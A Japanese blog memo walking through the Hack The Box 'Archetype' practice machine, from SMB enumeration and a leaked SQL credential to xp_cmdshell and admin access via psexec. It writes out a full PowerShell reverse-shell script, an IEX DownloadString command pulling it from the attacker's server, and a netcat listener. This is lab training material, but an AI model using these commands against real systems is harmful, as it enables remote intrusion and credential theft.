ただのメモです

Writeupなら他のブログ見たほうがいいと思います.

Archetype -Starting Point- Writeup

 Hack The BoxのArchetypeに挑戦しました。なお私はHackTheBoxのPwnBoxを使用しているので、所々勝手が違う箇所があります。参考にする場合はその点に気を付けて下さい。 

 まずnmap用いてターゲットでサービスを調べます。ちなみに

-sC[デフォルトスクリプト] -sV[バージョンを検出する]  オプションを使用しています。

 

f:id:F-Ryu:20210524225034p:plain

 f:id:F-Ryu:20210524224952p:plain 

 

 msrpc・netbios_ssn・microsoft-ds・ms-sqlが稼働しています。それぞれファイル共有システム(SMB)、SQLサーバーのようです。

 次にSMBにどんなフォルダがあるかを調べてみます。ちなみに

-L[サービス一覧] オプションです。-Nは本来この段階ではつける必要はありません。

 

f:id:F-Ryu:20210524230418p:plain

 

 ADMIN$・backup・C$・IPC$のフォルダが存在し、backupsにアクセスできるようです。smbclient \\\\10.10.10.27\\backupsでアクセスするとパスワードが求められますが、パスワードが設定されていない場合があります。試しにそのままEnterしてみると無事入ることができました。(今回のようにパスワードが不要である場合、-Nオプションを使えばパスワード入力をスキップできます)

 

f:id:F-Ryu:20210524231900p:plain

 

 まずlsしてみるとprod.configファイルがあるのが分かります(smbclientのコマンドはhelpで確認できます)。このファイルをgetで入手して中身を見てみましょう。

 

f:id:F-Ryu:20210524232224p:plain

 

 画像下から4行目にPasswordとUserIDがあります。UserIDにsql_svcとあるように、どうやらms-sqlサーバーのIDですね。

 mssqlサーバーに入るにはpowershellを使用するか、Linuxであればimpacketというwindowsネットワークプロトコルを扱うpythonクラスがあります。私が使っているpwnboxにはデフォルトで入っていますが、もし自身が使っているVMに入っていない場合はimpacketからダウンロードしてください。

 

f:id:F-Ryu:20210524234830p:plain

 

公式のwalkthroughではimpacketのmssqlclient.pyを使用しています。使用方法は

 mssqlclient.py  [ domain/ ]  username [:password] @ <ターゲット名 or IP>

(で囲った箇所はなくてもOKです)。今回の場合

 python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

となります。またオプションとして以下を使用します。 

 -windows-auth Windows認証をするかどうか(デフォルトはFalse)

 

 impacketについて詳しく知りたい場合は下記サイトがおすすめです。

www.puckiestyle.nl

 

f:id:F-Ryu:20210524235222j:plain

 

 まず権限を確認してみましょう。SQLサーバーなのでSQLのIS_SRVROLEMEMBER関数を使用して権限を確認します。

 SELECT IS_SRVROLEMEMBER('sysadmin')

で確認することができます。

 

f:id:F-Ryu:20210524235827p:plain

 

 IS_SRVROLEMEMBER関数は0,1,NULLのいずれかを返し、1であれば権限を持っているという意味です。上記の結果からsqlサーバーにおいてadmin権限を持っていることがわかります。admin権限であればxp_cmdshellを使用してpowershellコマンドを入力することができます。

 今回xp_cmdshellはそのまま使用できましたが、設定によってはできない場合があります。その場合、

 EXEC sp_configure 'Show Advanced Options', 1;
 reconfigure;
 sp_configure;
 EXEC sp_configure 'xp_cmdshell', 1
 reconfigure;

でxp_cmdshellを使用できます。

 次にxp_cmdshellを利用してwhoamiしてみると

 

f:id:F-Ryu:20210525000716p:plain

 

 ターゲットのroot権限ではないことがわかりました。リバースシェルで接続する必要があります。今回はリバースシェルスクリプトを自分のhttpサーバーからダウンロードさせ、スクリプトを実行する方法でやってみます。

 まずリバースシェルのスクリプトを作る必要があります。下記のshell.ps1スクリプトを作成し、デスクトップではなく Home/<User> >のフォルダに入れてください。

 

shell.ps1

 

$client = New-Object System.Net.Sockets.TCPClient("<自分のIP>",<ポート>);$stream = $client.GetStream();[byte]$bytes = 0..65535|%{0};while*1 -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 

ちなみにスクリプトの詳細やwindowsのリバースシェルは下記サイトが詳しいです。

kakyouim.hatenablog.com

www.labofapenetrationtester.com

 

 スクリプトを作成した後pythonでHTTPサーバーを立ち上げます。私の場合ポート80

がすでに使用されていたのでポート8000を利用しました。

 python3 -m http.server 8000

 LIstening on 0.0.0.0 port の表示が出たら成功です。そのままつなげておきましょう。次に先ほどのスクリプトで指定したポートでターゲットからの接続を待ちます。

 sudo nc -lvnp 443

 最後にファイアウォールの設定をします。ufwで設定したポートであるhttpサーバー(8000)とncのポート(443)での接続を許可します。これがないと接続できない場合があります。

 sudo ufw allow from 10.10.10.27 proto tcp to any port 443,8000 

 準備ができたらターゲットのmssqlサーバーで

 xp_cmdshell "powershell "IEX (New-Object  Net.WebClient).DownloadString(\"http://10.10.14.7:8000/shell.ps1\");"

を実行します(ポート80でhttpサーバーを立ちあげる場合ポート部分は不要)。下図がこれらを実行する前と後の様子です。

 

f:id:F-Ryu:20210525004502p:plain

 左がターゲットのmssqlサーバー、右上がリバースシェル、右下がhttpサーバー

 成功すると

f:id:F-Ryu:20210525004522p:plain

f:id:F-Ryu:20210525175047p:plain

 このようになります。まずはuser.txtを確保しましょう。user.txtはデスクトップにあります。

f:id:F-Ryu:20210525175505p:plain


 type user.txtでファイルの中身を見ることができます。

 次に特権昇格をしてroot.txtを狙います。

book.hacktricks.xyz

 このサイトを参考にpowershellの履歴を見てみましょう。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

 これを実行すると

f:id:F-Ryu:20210525180037p:plain

  rootユーザーのパスワードが手に入りました。先ほどのimpacketにあるpsexec.py(シェルを利用できるpythonクラス)とこのパスワードを利用してアクセスしてみましょう。

 psexec.py <ユーザー名>@windowsIP (パスワード入力は後)

 

f:id:F-Ryu:20210525181034p:plain

 無事アクセスすることができました。user.txtと同じ要領でAdministratorのDesktopからroot.txtを入手できます。

*1:$i = $stream.Read($bytes, 0, $bytes.Length